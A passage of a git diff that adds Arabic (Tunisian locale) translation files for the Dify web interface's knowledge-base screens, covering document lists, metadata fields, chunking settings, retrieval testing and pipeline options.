+    qaSwitchHighQualityTipContent: 'حاليا، تدعم طريقة الفهرسة عالية الجودة فقط تقطيع تنسيق سؤال وجواب. هل ترغب في التبديل إلى وضع الجودة العالية؟',
+    notAvailableForParentChild: 'غير متاح لفهرس الأصل والطفل',
+    notAvailableForQA: 'غير متاح لفهرس الأسئلة والأجوبة',
+    parentChildDelimiterTip: 'المحدد هو الحرف المستخدم لفصل النص. يوصى باستخدام \\n\\n لتقسيم المستند الأصلي إلى قطع أصلية كبيرة. يمكنك أيضًا استخدام محددات خاصة محددة بنفسك.',
+    parentChildChunkDelimiterTip: 'المحدد هو الحرف المستخدم لفصل النص. يوصى باستخدام \\n لتقسيم القطع الأصلية إلى قطع فرعية صغيرة. يمكنك أيضًا استخدام محددات خاصة محددة بنفسك.',
+  },
+  stepThree: {
+    creationTitle: '🎉 تم إنشاء المعرفة',
+    creationContent: 'قمنا بتسمية المعرفة تلقائيًا، يمكنك تعديلها في أي وقت.',
+    label: 'اسم المعرفة',
+    additionTitle: '🎉 تم تحميل المستند',
+    additionP1: 'تم تحميل المستند إلى المعرفة',
+    additionP2: '، يمكنك العثور عليه في قائمة مستندات المعرفة.',
+    stop: 'إيقاف المعالجة',
+    resume: 'استئناف المعالجة',
+    navTo: 'الذهاب إلى المستند',
+    sideTipTitle: 'ما التالي',
+    sideTipContent: 'بعد الانتهاء من فهرسة المستندات، يمكنك إدارة المستندات وتعديلها، وتشغيل اختبارات الاسترجاع، وتعديل إعدادات المعرفة. يمكن بعد ذلك دمج المعرفة في تطبيقك كسياق، لذا تأكد من ضبط إعداد الاسترجاع لضمان الأداء الأمثل.',
+    modelTitle: 'هل أنت متأكد من إيقاف التضمين؟',
+    modelContent: 'إذا كنت بحاجة إلى استئناف المعالجة لاحقًا، فستستمر من حيث توقفت.',
+    modelButtonConfirm: 'تأكيد',
+    modelButtonCancel: 'إلغاء',
+  },
+  otherDataSource: {
+    title: 'الاتصال بمصادر بيانات أخرى؟',
+    description: 'حاليًا، تحتوي قاعدة معرفة Dify فقط على مصادر بيانات محدودة. تعد المساهمة بمصدر بيانات في قاعدة معرفة Dify طريقة رائعة للمساعدة في تعزيز مرونة النظام الأساسي وقوته لجميع المستخدمين. دليل المساهمة الخاص بنا يسهل البدء. يرجى النقر على الرابط أدناه لمعرفة المزيد.',
+    learnMore: 'تعرف على المزيد',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset-documents.ts b/web/i18n/ar-TN/dataset-documents.ts
new file mode 100644
index 0000000000..338e6cfc6c
--- /dev/null
+++ b/web/i18n/ar-TN/dataset-documents.ts
@@ -0,0 +1,408 @@
+const translation = {
+  list: {
+    title: 'المستندات',
+    desc: 'يتم عرض جميع ملفات المعرفة هنا، ويمكن ربط المعرفة بأكملها باقتباسات Dify أو فهرستها عبر مكون الدردشة الإضافي.',
+    learnMore: 'تعرف على المزيد',
+    addFile: 'إضافة ملف',
+    addPages: 'إضافة صفحات',
+    addUrl: 'إضافة عنوان URL',
+    table: {
+      header: {
+        fileName: 'الاسم',
+        chunkingMode: 'وضع التقطيع',
+        words: 'الكلمات',
+        hitCount: 'عدد الاسترجاع',
+        uploadTime: 'وقت التحميل',
+        status: 'الحالة',
+        action: 'إجراء',
+      },
+      rename: 'إعادة تسمية',
+      name: 'الاسم',
+    },
+    action: {
+      uploadFile: 'تحميل ملف جديد',
+      settings: 'إعدادات التقطيع',
+      addButton: 'إضافة قطعة',
+      add: 'إضافة قطعة',
+      batchAdd: 'إضافة دفعة',
+      archive: 'أرشيف',
+      unarchive: 'إلغاء الأرشفة',
+      delete: 'حذف',
+      enableWarning: 'لا يمكن تمكين الملف المؤرشف',
+      sync: 'مزامنة',
+      pause: 'إيقاف مؤقت',
+      resume: 'استئناف',
+    },
+    index: {
+      enable: 'تمكين',
+      disable: 'تعطيل',
+      all: 'الكل',
+      enableTip: 'يمكن فهرسة الملف',
+      disableTip: 'لا يمكن فهرسة الملف',
+    },
+    sort: {
+      uploadTime: 'وقت التحميل',
+      hitCount: 'عدد الاسترجاع',
+    },
+    status: {
+      queuing: 'في الانتظار',
+      indexing: 'فهرسة',
+      paused: 'متوقف مؤقتًا',
+      error: 'خطأ',
+      available: 'متاح',
+      enabled: 'ممكن',
+      disabled: 'معطل',
+      archived: 'مؤرشف',
+    },
+    empty: {
+      title: 'لا يوجد وثائق بعد',
+      upload: {
+        tip: 'يمكنك تحميل الملفات، والمزامنة من الموقع، أو من تطبيقات الويب مثل Notion و GitHub، إلخ.',
+      },
+      sync: {
+        tip: 'سيقوم Dify بتنزيل الملفات بشكل دوري من Notion وإكمال المعالجة.',
+      },
+    },
+    delete: {
+      title: 'هل أنت متأكد من الحذف؟',
+      content: 'إذا كنت بحاجة إلى استئناف المعالجة لاحقًا، فستستمر من حيث توقفت',
+    },
+    batchModal: {
+      title: 'إضافة قطع دفعة واحدة',
+      csvUploadTitle: 'اسحب وأفلت ملف CSV هنا، أو ',
+      browse: 'تصفح',
+      tip: 'يجب أن يتوافق ملف CSV مع الهيكل التالي:',
+      question: 'سؤال',
+      answer: 'إجابة',
+      contentTitle: 'محتوى القطعة',
+      content: 'محتوى',
+      template: 'قم بتنزيل القالب هنا',
+      cancel: 'إلغاء',
+      run: 'تشغيل الدفعة',
+      runError: 'فشل تشغيل الدفعة',
+      processing: 'في معالجة الدفعة',
+      completed: 'اكتمل الاستيراد',
+      error: 'خطأ في الاستيراد',
+      ok: 'موافق',
+    },
+  },
+  metadata: {
+    title: 'البيانات الوصفية',
+    desc: 'يسمح تصنيف البيانات الوصفية للمستندات للذكاء الاصطناعي بالوصول إليها في الوقت المناسب ويكشف مصدر المراجع للمستخدمين.',
+    dateTimeFormat: 'MMMM D, YYYY hh:mm A',
+    docTypeSelectTitle: 'يرجى تحديد نوع المستند',
+    docTypeChangeTitle: 'تغيير نوع المستند',
+    docTypeSelectWarning:
+      'إذا تم تغيير نوع المستند، فلن يتم الاحتفاظ بالبيانات الوصفية المملوءة الآن',
+    firstMetaAction: 'هيا بنا',
+    placeholder: {
+      add: 'إضافة ',
+      select: 'تحديد ',
+    },
+    source: {
+      upload_file: 'تحميل الملف',
+      notion: 'مزامنة من Notion',
+      github: 'مزامنة من Github',
+      local_file: 'ملف محلي',
+      website_crawl: 'زحف الموقع',
+      online_document: 'مستند عبر الإنترنت',
+    },
+    type: {
+      book: 'كتاب',
+      webPage: 'صفحة ويب',
+      paper: 'ورقة بحثية',
+      socialMediaPost: 'منشور وسائل التواصل الاجتماعي',
+      personalDocument: 'مستند شخصي',
+      businessDocument: 'مستند أعمال',
+      IMChat: 'دردشة فورية',
+      wikipediaEntry: 'إدخال ويكيبيديا',
+      notion: 'مزامنة من Notion',
+      github: 'مزامنة من Github',
+      technicalParameters: 'المعلمات الفنية',
+    },
+    field: {
+      processRule: {
+        processDoc: 'معالجة المستند',
+        segmentRule: 'قاعدة القطع',
+        segmentLength: 'طول القطع',
+        processClean: 'تنظيف عملية النص',
+      },
+      book: {
+        title: 'العنوان',
+        language: 'اللغة',
+        author: 'المؤلف',
+        publisher: 'الناشر',
+        publicationDate: 'تاريخ النشر',
+        ISBN: 'ISBN',
+        category: 'الفئة',
+      },
+      webPage: {
+        title: 'العنوان',
+        url: 'عنوان URL',
+        language: 'اللغة',
+        authorPublisher: 'المؤلف/الناشر',
+        publishDate: 'تاريخ النشر',
+        topicKeywords: 'الموضوع/الكلمات الرئيسية',
+        description: 'الوصف',
+      },
+      paper: {
+        title: 'العنوان',
+        language: 'اللغة',
+        author: 'المؤلف',
+        publishDate: 'تاريخ النشر',
+        journalConferenceName: 'اسم المجلة/المؤتمر',
+        volumeIssuePage: 'المجلد/العدد/الصفحة',
+        DOI: 'DOI',
+        topicsKeywords: 'المواضيع/الكلمات الرئيسية',
+        abstract: 'الملخص',
+      },
+      socialMediaPost: {
+        platform: 'المنصة',
+        authorUsername: 'المؤلف/اسم المستخدم',
+        publishDate: 'تاريخ النشر',
+        postURL: 'عنوان URL للمنشور',
+        topicsTags: 'المواضيع/العلامات',
+      },
+      personalDocument: {
+        title: 'العنوان',
+        author: 'المؤلف',
+        creationDate: 'تاريخ الإنشاء',
+        lastModifiedDate: 'تاريخ آخر تعديل',
+        documentType: 'نوع المستند',
+        tagsCategory: 'العلامات/الفئة',
+      },
+      businessDocument: {
+        title: 'العنوان',
+        author: 'المؤلف',
+        creationDate: 'تاريخ الإنشاء',
+        lastModifiedDate: 'تاريخ آخر تعديل',
+        documentType: 'نوع المستند',
+        departmentTeam: 'القسم/الفريق',
+      },
+      IMChat: {
+        chatPlatform: 'منصة الدردشة',
+        chatPartiesGroupName: 'أطراف الدردشة/اسم المجموعة',
+        participants: 'المشاركون',
+        startDate: 'تاريخ البدء',
+        endDate: 'تاريخ الانتهاء',
+        topicsKeywords: 'المواضيع/الكلمات الرئيسية',
+        fileType: 'نوع الملف',
+      },
+      wikipediaEntry: {
+        title: 'العنوان',
+        language: 'اللغة',
+        webpageURL: 'عنوان URL لصفحة الويب',
+        editorContributor: 'المحرر/المساهم',
+        lastEditDate: 'تاريخ آخر تعديل',
+        summaryIntroduction: 'الملخص/المقدمة',
+      },
+      notion: {
+        title: 'العنوان',
+        language: 'اللغة',
+        author: 'المؤلف',
+        createdTime: 'وقت الإنشاء',
+        lastModifiedTime: 'وقت آخر تعديل',
+        url: 'عنوان URL',
+        tag: 'العلامة',
+        description: 'الوصف',
+      },
+      github: {
+        repoName: 'اسم المستودع',
+        repoDesc: 'وصف المستودع',
+        repoOwner: 'مالك المستودع',
+        fileName: 'اسم الملف',
+        filePath: 'مسار الملف',
+        programmingLang: 'لغة البرمجة',
+        url: 'عنوان URL',
+        license: 'الرخصة',
+        lastCommitTime: 'وقت آخر التزام',
+        lastCommitAuthor: 'مؤلف آخر التزام',
+      },
+      originInfo: {
+        originalFilename: 'اسم الملف الأصلي',
+        originalFileSize: 'حجم الملف الأصلي',
+        uploadDate: 'تاريخ التحميل',
+        lastUpdateDate: 'تاريخ آخر تحديث',
+        source: 'المصدر',
+      },
+      technicalParameters: {
+        segmentSpecification: 'مواصفات القطع',
+        segmentLength: 'طول القطع',
+        avgParagraphLength: 'متوسط طول الفقرة',
+        paragraphs: 'الفقرات',
+        hitCount: 'عدد الاسترجاع',
+        embeddingTime: 'وقت التضمين',
+        embeddedSpend: 'إنفاق التضمين',
+      },
+    },
+    languageMap: {
+      zh: 'صيني',
+      en: 'إنجليزي',
+      es: 'إسباني',
+      fr: 'فرنسي',
+      de: 'ألماني',
+      ja: 'ياباني',
+      ko: 'كوري',
+      ru: 'روسي',
+      ar: 'عربي',
+      pt: 'برتغالي',
+      it: 'إيطالي',
+      nl: 'هولندي',
+      pl: 'بولندي',
+      sv: 'سويدي',
+      tr: 'تركي',
+      he: 'عبري',
+      hi: 'هندي',
+      da: 'دنماركي',
+      fi: 'فنلندي',
+      no: 'نرويجي',
+      hu: 'مجري',
+      el: 'يوناني',
+      cs: 'تشيكي',
+      th: 'تايلاندي',
+      id: 'إندونيسي',
+    },
+    categoryMap: {
+      book: {
+        fiction: 'خيال',
+        biography: 'سيرة شخصية',
+        history: 'تاريخ',
+        science: 'علوم',
+        technology: 'تكنولوجيا',
+        education: 'تعليم',
+        philosophy: 'فلسفة',
+        religion: 'دين',
+        socialSciences: 'علوم اجتماعية',
+        art: 'فن',
+        travel: 'سفر',
+        health: 'صحة',
+        selfHelp: 'تطوير الذات',
+        businessEconomics: 'أعمال واقتصاد',
+        cooking: 'طبخ',
+        childrenYoungAdults: 'أطفال وشباب',
+        comicsGraphicNovels: 'قصص مصورة وروايات مصورة',
+        poetry: 'شعر',
+        drama: 'دراما',
+        other: 'أخرى',
+      },
+      personalDoc: {
+        notes: 'ملاحظات',
+        blogDraft: 'مسودة مدونة',
+        diary: 'مذكرات',
+        researchReport: 'تقرير بحث',
+        bookExcerpt: 'مقتطف من كتاب',
+        schedule: 'جدول',
+        list: 'قائمة',
+        projectOverview: 'نظرة عامة على المشروع',
+        photoCollection: 'مجموعة صور',
+        creativeWriting: 'كتابة إبداعية',
+        codeSnippet: 'مقتطف كود',
+        designDraft: 'مسودة تصميم',
+        personalResume: 'سيرة ذاتية شخصية',
+        other: 'أخرى',
+      },
+      businessDoc: {
+        meetingMinutes: 'محضر اجتماع',
+        researchReport: 'تقرير بحث',
+        proposal: 'اقتراح',
+        employeeHandbook: 'دليل الموظف',
+        trainingMaterials: 'مواد تدريبية',
+        requirementsDocument: 'وثيقة المتطلبات',
+        designDocument: 'وثيقة التصميم',
+        productSpecification: 'مواصفات المنتج',
+        financialReport: 'تقرير مالي',
+        marketAnalysis: 'تحليل السوق',
+        projectPlan: 'خطة المشروع',
+        teamStructure: 'هيكل الفريق',
+        policiesProcedures: 'السياسات والإجراءات',
+        contractsAgreements: 'العقود والاتفاقيات',
+        emailCorrespondence: 'مراسلات البريد الإلكتروني',
+        other: 'أخرى',
+      },
+    },
+  },
+  embedding: {
+    waiting: 'انتظار التضمين...',
+    processing: 'معالجة التضمين...',
+    paused: 'تم إيقاف التضمين مؤقتًا',
+    completed: 'اكتمل التضمين',
+    error: 'خطأ في التضمين',
+    docName: 'مستند المعالجة المسبقة',
+    mode: 'إعداد التقطيع',
+    segmentLength: 'أقصى طول للقطعة',
+    textCleaning: 'قواعد المعالجة المسبقة للنص',
+    segments: 'الفقرات',
+    highQuality: 'وضع عالي الجودة',
+    economy: 'الوضع الاقتصادي',
+    estimate: 'الاستهلاك المقدر',
+    stop: 'إيقاف المعالجة',
+    pause: 'إيقاف مؤقت',
+    resume: 'استئناف',
+    automatic: 'تلقائي',
+    custom: 'مخصص',
+    hierarchical: 'الأصل والطفل',
+    previewTip: 'ستتوفر معاينة الفقرة بعد اكتمال التضمين',
+    parentMaxTokens: 'الأصل',
+    childMaxTokens: 'الطفل',
+  },
+  segment: {
+    paragraphs: 'الفقرات',
+    chunks_one: 'قطعة',
+    chunks_other: 'قطع',
+    parentChunks_one: 'قطعة أصلية',
+    parentChunks_other: 'قطع أصلية',
+    childChunks_one: 'قطعة فرعية',
+    childChunks_other: 'قطع فرعية',
+    searchResults_zero: 'نتيجة',
+    searchResults_one: 'نتيجة',
+    searchResults_other: 'نتائج',
+    empty: 'لم يتم العثور على أي قطعة',
+    clearFilter: 'مسح التصفية',
+    chunk: 'قطعة',
+    parentChunk: 'قطعة أصلية',
+    newChunk: 'قطعة جديدة',
+    childChunk: 'قطعة فرعية',
+    newChildChunk: 'قطعة فرعية جديدة',
+    keywords: 'كلمات رئيسية',
+    addKeyWord: 'إضافة كلمة رئيسية',
+    keywordEmpty: 'لا يمكن أن تكون الكلمة الرئيسية فارغة',
+    keywordError: 'الحد الأقصى لطول الكلمة الرئيسية هو 20',
+    keywordDuplicate: 'الكلمة الرئيسية موجودة بالفعل',
+    characters_one: 'حرف',
+    characters_other: 'أحرف',
+    hitCount: 'عدد الاسترجاع',
+    vectorHash: 'تجزئة المتجه: ',
+    questionPlaceholder: 'أضف السؤال هنا',
+    questionEmpty: 'لا يمكن أن يكون السؤال فارغًا',
+    answerPlaceholder: 'أضف الإجابة هنا',
+    answerEmpty: 'لا يمكن أن تكون الإجابة فارغة',
+    contentPlaceholder: 'أضف المحتوى هنا',
+    contentEmpty: 'لا يمكن أن يكون المحتوى فارغًا',
+    newTextSegment: 'قطعة نصية جديدة',
+    newQaSegment: 'قطعة سؤال وجواب جديدة',
+    addChunk: 'إضافة قطعة',
+    addChildChunk: 'إضافة قطعة فرعية',
+    addAnother: 'إضافة أخرى',
+    delete: 'حذف هذه القطعة؟',
+    chunkAdded: 'تم إضافة قطعة واحدة',
+    childChunkAdded: 'تم إضافة قطعة فرعية واحدة',
+    editChunk: 'تعديل القطعة',
+    editParentChunk: 'تعديل القطعة الأصلية',
+    editChildChunk: 'تعديل القطعة الفرعية',
+    chunkDetail: 'تفاصيل القطعة',
+    regenerationConfirmTitle: 'هل تريد إعادة إنشاء القطع الفرعية؟',
+    regenerationConfirmMessage: 'سوف تؤدي إعادة إنشاء القطع الفرعية إلى استبدال القطع الفرعية الحالية، بما في ذلك القطع المعدلة والقطع المضافة حديثًا. لا يمكن التراجع عن إعادة الإنشاء.',
+    regeneratingTitle: 'إعادة إنشاء القطع الفرعية',
+    regeneratingMessage: 'قد يستغرق هذا لحظة، يرجى الانتظار...',
+    regenerationSuccessTitle: 'اكتملت إعادة الإنشاء',
+    regenerationSuccessMessage: 'يمكنك إغلاق هذه النافذة.',
+    edited: 'معدل',
+    editedAt: 'تم التعديل في',
+    dateTimeFormat: 'MM/DD/YYYY h:mm',
+    expandChunks: 'توسيع القطع',
+    collapseChunks: 'طي القطع',
+    allFilesUploaded: 'يجب تحميل جميع الملفات قبل الحفظ',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset-hit-testing.ts b/web/i18n/ar-TN/dataset-hit-testing.ts
new file mode 100644
index 0000000000..6ab56480a7
--- /dev/null
+++ b/web/i18n/ar-TN/dataset-hit-testing.ts
@@ -0,0 +1,40 @@
+const translation = {
+  title: 'اختبار الاسترجاع',
+  settingTitle: 'إعداد الاسترجاع',
+  desc: 'اختبار تأثير مطابقة المعرفة بناءً على نص الاستعلام المقدم.',
+  dateTimeFormat: 'MM/DD/YYYY hh:mm A',
+  records: 'سجلات',
+  table: {
+    header: {
+      source: 'المصدر',
+      time: 'وقت',
+      queryContent: 'محتوى الاستعلام',
+    },
+  },
+  input: {
+    title: 'النص المصدر',
+    placeholder: 'يرجى إدخال نص، ويوصى بجملة تعريفية قصيرة.',
+    countWarning: 'ما يصل إلى 200 حرف.',
+    indexWarning: 'معرفة عالية الجودة فقط.',
+    testing: 'اختبار',
+  },
+  hit: {
+    title: '{{num}} قطع مسترجعة',
+    emptyTip: 'ستظهر نتائج اختبار الاسترجاع هنا',
+  },
+  noRecentTip: 'لا توجد نتائج استعلام حديثة هنا',
+  viewChart: 'عرض مخطط VECTOR',
+  viewDetail: 'عرض التفاصيل',
+  chunkDetail: 'تفاصيل المقطع',
+  hitChunks: 'إصابة {{num}} مقاطع فرعية',
+  open: 'فتح',
+  keyword: 'الكلمات الرئيسية',
+  imageUploader: {
+    tip: 'قم بتحميل الصور أو إسقاطها (الحد الأقصى {{batchCount}}، {{size}} ميغابايت لكل صورة)',
+    tooltip: 'رفع الصور (الحد الأقصى {{batchCount}}، {{size}} ميغابايت لكل صورة)',
+    dropZoneTip: 'اسحب الملف هنا للتحميل',
+    singleChunkAttachmentLimitTooltip: 'لا يمكن أن يتجاوز عدد المرفقات ذات القطعة الواحدة {{limit}}',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset-pipeline.ts b/web/i18n/ar-TN/dataset-pipeline.ts
new file mode 100644
index 0000000000..ea549441ac
--- /dev/null
+++ b/web/i18n/ar-TN/dataset-pipeline.ts
@@ -0,0 +1,165 @@
+const translation = {
+  creation: {
+    backToKnowledge: 'العودة إلى المعرفة',
+    createFromScratch: {
+      title: 'سير عمل معرفة فارغ',
+      description: 'إنشاء سير عمل مخصص من الصفر مع التحكم الكامل في معالجة البيانات وهيكلها.',
+    },
+    importDSL: 'استيراد من ملف DSL',
+    createKnowledge: 'إنشاء المعرفة',
+    errorTip: 'فشل إنشاء قاعدة المعرفة',
+    successTip: 'تم إنشاء قاعدة المعرفة بنجاح',
+    caution: 'تنبيه',
+  },
+  templates: {
+    customized: 'مخصص',
+  },
+  operations: {
+    choose: 'اختر',
+    details: 'التفاصيل',
+    editInfo: 'تعديل المعلومات',
+    useTemplate: 'استخدام سير عمل المعرفة هذا',
+    backToDataSource: 'العودة إلى مصدر البيانات',
+    process: 'معالجة',
+    dataSource: 'مصدر البيانات',
+    saveAndProcess: 'حفظ ومعالجة',
+    preview: 'معاينة',
+    exportPipeline: 'تصدير سير العمل',
+    convert: 'تحويل',
+  },
+  knowledgeNameAndIcon: 'اسم وأيقونة المعرفة',
+  knowledgeNameAndIconPlaceholder: 'يرجى إدخال اسم قاعدة المعرفة',
+  knowledgeDescription: 'وصف المعرفة',
+  knowledgeDescriptionPlaceholder: 'صف ما يوجد في قاعدة المعرفة هذه. يسمح الوصف التفصيلي للذكاء الاصطناعي بالوصول إلى محتوى مجموعة البيانات بشكل أكثر دقة. إذا كان فارغًا، فسيستخدم Dify استراتيجية المطابقة الافتراضية. (اختياري)',
+  knowledgePermissions: 'أذونات',
+  editPipelineInfo: 'تعديل معلومات سير العمل',
+  pipelineNameAndIcon: 'اسم وأيقونة سير العمل',
+  deletePipeline: {
+    title: 'هل أنت متأكد من حذف قالب سير العمل هذا؟',
+    content: 'حذف قالب سير العمل لا رجعة فيه.',
+  },
+  publishPipeline: {
+    success: {
+      message: 'تم نشر سير عمل المعرفة',
+      tip: '<CustomLink>الذهاب إلى المستندات</CustomLink> لإضافة أو إدارة المستندات.',
+    },
+    error: {
+      message: 'فشل نشر سير عمل المعرفة',
+    },
+  },
+  publishTemplate: {
+    success: {
+      message: 'تم نشر قالب سير العمل',
+      tip: 'يمكنك استخدام هذا القالب في صفحة الإنشاء.',
+      learnMore: 'تعرف على المزيد',
+    },
+    error: {
+      message: 'فشل نشر قالب سير العمل',
+    },
+  },
+  exportDSL: {
+    successTip: 'تم تصدير DSL لسير العمل بنجاح',
+    errorTip: 'فشل تصدير DSL لسير العمل',
+  },
+  details: {
+    createdBy: 'بواسطة {{author}}',
+    structure: 'الهيكل',
+    structureTooltip: 'يحدد هيكل القطعة كيفية تقسيم المستندات وفهرستها - تقديم أوضاع عامة، الأصل والطفل، والأسئلة والأجوبة - وهي فريدة لكل قاعدة معرفة.',
+  },
+  testRun: {
+    title: 'تشغيل اختباري',
+    tooltip: 'في وضع التشغيل الاختباري، يُسمح باستيراد مستند واحد فقط في كل مرة لسهولة التصحيح والملاحظة.',
+    steps: {
+      dataSource: 'مصدر البيانات',
+      documentProcessing: 'معالجة المستندات',
+    },
+    dataSource: {
+      localFiles: 'الملفات المحلية',
+    },
+    notion: {
+      title: 'اختر صفحات Notion',
+      docTitle: 'مستندات Notion',
+    },
+  },
+  inputField: 'حقل الإدخال',
+  inputFieldPanel: {
+    title: 'حقول إدخال المستخدم',
+    description: 'تُستخدم حقول إدخال المستخدم لتعريف وجمع المتغيرات المطلوبة أثناء عملية تنفيذ سير العمل. يمكن للمستخدمين تخصيص نوع الحقل وتكوين قيمة الإدخال بمرونة لتلبية احتياجات مصادر البيانات المختلفة أو خطوات معالجة المستندات.',
+    uniqueInputs: {
+      title: 'مدخلات فريدة لكل مدخل',
+      tooltip: 'المدخلات الفريدة يمكن الوصول إليها فقط لمصدر البيانات المحدد وعقده النهائية. لن يحتاج المستخدمون إلى تعبئتها عند اختيار مصادر بيانات أخرى. ستظهر فقط حقول الإدخال المشار إليها بواسطة متغيرات مصدر البيانات في الخطوة الأولى (مصدر البيانات). ستظهر جميع الحقول الأخرى في الخطوة الثانية (معالجة المستندات).',
+    },
+    globalInputs: {
+      title: 'مدخلات عالمية لجميع المداخل',
+      tooltip: 'المدخلات العالمية مشتركة عبر جميع العقد. سيحتاج المستخدمون إلى تعبئتها عند اختيار أي مصدر بيانات. على سبيل المثال، يمكن تطبيق حقول مثل المحدد والحد الأقصى لطول القطعة بشكل موحد عبر مصادر بيانات متعددة. ستظهر فقط حقول الإدخال المشار إليها بواسطة متغيرات مصدر البيانات في الخطوة الأولى (مصدر البيانات). ستظهر جميع الحقول الأخرى في الخطوة الثانية (معالجة المستندات).',
+    },
+    addInputField: 'إضافة حقل إدخال',
+    editInputField: 'تعديل حقل إدخال',
+    preview: {
+      stepOneTitle: 'مصدر البيانات',
+      stepTwoTitle: 'معالجة المستندات',
+    },
+    error: {
+      variableDuplicate: 'اسم المتغير موجود بالفعل. يرجى اختيار اسم مختلف.',
+    },
+  },
+  addDocuments: {
+    title: 'إضافة مستندات',
+    steps: {
+      chooseDatasource: 'اختر مصدر بيانات',
+      processDocuments: 'معالجة المستندات',
+      processingDocuments: 'جارٍ معالجة المستندات',
+    },
+    backToDataSource: 'مصدر البيانات',
+    stepOne: {
+      preview: 'معاينة',
+    },
+    stepTwo: {
+      chunkSettings: 'إعدادات القطعة',
+      previewChunks: 'معاينة القطع',
+    },
+    stepThree: {
+      learnMore: 'تعرف على المزيد',
+    },
+    characters: 'أحرف',
+    selectOnlineDocumentTip: 'معالجة ما يصل إلى {{count}} صفحة',
+    selectOnlineDriveTip: 'معالجة ما يصل إلى {{count}} ملف، بحد أقصى {{fileSize}} ميجابايت لكل منها',
+  },
+  documentSettings: {
+    title: 'إعدادات المستند',
+  },
+  onlineDocument: {
+    pageSelectorTitle: '{{name}} صفحات',
+  },
+  onlineDrive: {
+    notConnected: '{{name}} غير متصل',
+    notConnectedTip: 'للمزامنة مع {{name}}، يجب إنشاء اتصال بـ {{name}} أولاً.',
+    breadcrumbs: {
+      allBuckets: 'جميع حاويات التخزين السحابية',
+      allFiles: 'جميع الملفات',
+      searchResult: 'العثور على {{searchResultsLength}} عناصر في مجلد "{{folderName}}"',
+      searchPlaceholder: 'بحث في الملفات...',
+    },
+    notSupportedFileType: 'نوع الملف هذا غير مدعوم',
+    emptyFolder: 'هذا المجلد فارغ',
+    emptySearchResult: 'لم يتم العثور على أي عناصر',
+    resetKeywords: 'إعادة تعيين الكلمات الرئيسية',
+  },
+  credentialSelector: {
+  },
+  configurationTip: 'تكوين {{pluginName}}',
+  conversion: {
+    title: 'التحويل إلى سير عمل المعرفة',
+    descriptionChunk1: 'يمكنك الآن تحويل قاعدة المعرفة الحالية لاستخدام سير عمل المعرفة لمعالجة المستندات',
+    descriptionChunk2: ' - نهج أكثر انفتاحًا ومرونة مع الوصول إلى الإضافات من سوقنا. سيطبق هذا طريقة المعالجة الجديدة على جميع المستندات المستقبلية.',
+    warning: 'لا يمكن التراجع عن هذا الإجراء.',
+    confirm: {
+      title: 'تأكيد',
+      content: 'هذا الإجراء دائم. لن تتمكن من العودة إلى الطريقة السابقة. يرجى التأكيد للتحويل.',
+    },
+    errorMessage: 'فشل تحويل مجموعة البيانات إلى سير عمل',
+    successMessage: 'تم تحويل مجموعة البيانات إلى سير عمل بنجاح',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset-settings.ts b/web/i18n/ar-TN/dataset-settings.ts
new file mode 100644
index 0000000000..ad27d40fc6
--- /dev/null
+++ b/web/i18n/ar-TN/dataset-settings.ts
@@ -0,0 +1,52 @@
+const translation = {
+  title: 'إعدادات المعرفة',
+  desc: 'هنا يمكنك تعديل الخصائص وإعدادات الاسترجاع لهذه المعرفة.',
+  form: {
+    name: 'اسم المعرفة',
+    nameAndIcon: 'الاسم والأيقونة',
+    namePlaceholder: 'يرجى إدخال اسم المعرفة',
+    nameError: 'لا يمكن أن يكون الاسم فارغًا',
+    desc: 'الوصف',
+    descInfo: 'يرجى كتابة وصف نصي واضح لتوضيح محتوى المعرفة. سيتم استخدام هذا الوصف كأساس للمطابقة عند الاختيار من بين معارف متعددة للاستنتاج.',
+    descPlaceholder: 'صف ما يوجد في مجموعة البيانات هذه. يسمح الوصف التفصيلي للذكاء الاصطناعي بالوصول إلى محتوى مجموعة البيانات في الوقت المناسب. إذا كان فارغًا، فسيستخدم Dify استراتيجية المطابقة الافتراضية.',
+    helpText: 'تعرف على كيفية كتابة وصف جيد لمجموعة البيانات.',
+    descWrite: 'تعرف على كيفية كتابة وصف جيد للمعرفة.',
+    permissions: 'أذونات',
+    permissionsOnlyMe: 'أنا فقط',
+    permissionsAllMember: 'جميع أعضاء الفريق',
+    permissionsInvitedMembers: 'أعضاء الفريق الجزئيين',
+    me: '(أنت)',
+    onSearchResults: 'لا يوجد أعضاء يطابقون استعلام البحث الخاص بك.\nحاول البحث مرة أخرى.',
+    chunkStructure: {
+      title: 'هيكل القطعة',
+      learnMore: 'تعرف على المزيد',
+      description: ' حول هيكل القطعة.',
+    },
+    indexMethod: 'طريقة الفهرسة',
+    indexMethodHighQuality: 'جودة عالية',
+    indexMethodHighQualityTip: 'يساعد استدعاء نموذج التضمين لمعالجة المستندات من أجل استرجاع أكثر دقة LLM على إنشاء إجابات عالية الجودة.',
+    upgradeHighQualityTip: 'بمجرد الترقية إلى وضع الجودة العالية، لا يتوفر الرجوع إلى الوضع الاقتصادي',
+    indexMethodEconomy: 'اقتصادي',
+    indexMethodEconomyTip: 'استخدام {{count}} كلمات رئيسية لكل قطعة للاسترجاع، لا يتم استهلاك أي رموز على حساب دقة الاسترجاع المنخفضة.',
+    numberOfKeywords: 'عدد الكلمات الرئيسية',
+    embeddingModel: 'نموذج التضمين',
+    embeddingModelTip: 'لتغيير النموذج المضمن، يرجى الانتقال إلى ',
+    embeddingModelTipLink: 'الإعدادات',
+    retrievalSetting: {
+      title: 'إعداد الاسترجاع',
+      method: 'طريقة الاسترجاع',
+      learnMore: 'تعرف على المزيد',
+      description: ' حول طريقة الاسترجاع.',
+      longDescription: ' حول طريقة الاسترجاع، يمكنك تغيير هذا في أي وقت في إعدادات المعرفة.',
+      multiModalTip: 'عندما يدعم نموذج التضمين متعدد الوسائط، يرجى اختيار نموذج إعادة ترتيب متعدد الوسائط للحصول على أداء أفضل.',
+    },
+    externalKnowledgeAPI: 'واجهة برمجة تطبيقات المعرفة الخارجية',
+    externalKnowledgeID: 'معرف المعرفة الخارجية',
+    retrievalSettings: 'إعدادات الاسترجاع',
+    save: 'حفظ',
+    indexMethodChangeToEconomyDisabledTip: 'غير متوفر للرجوع من الجودة العالية إلى الوضع الاقتصادي',
+    searchModel: 'نموذج البحث',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/dataset.ts b/web/i18n/ar-TN/dataset.ts
new file mode 100644
index 0000000000..66929f3081
--- /dev/null
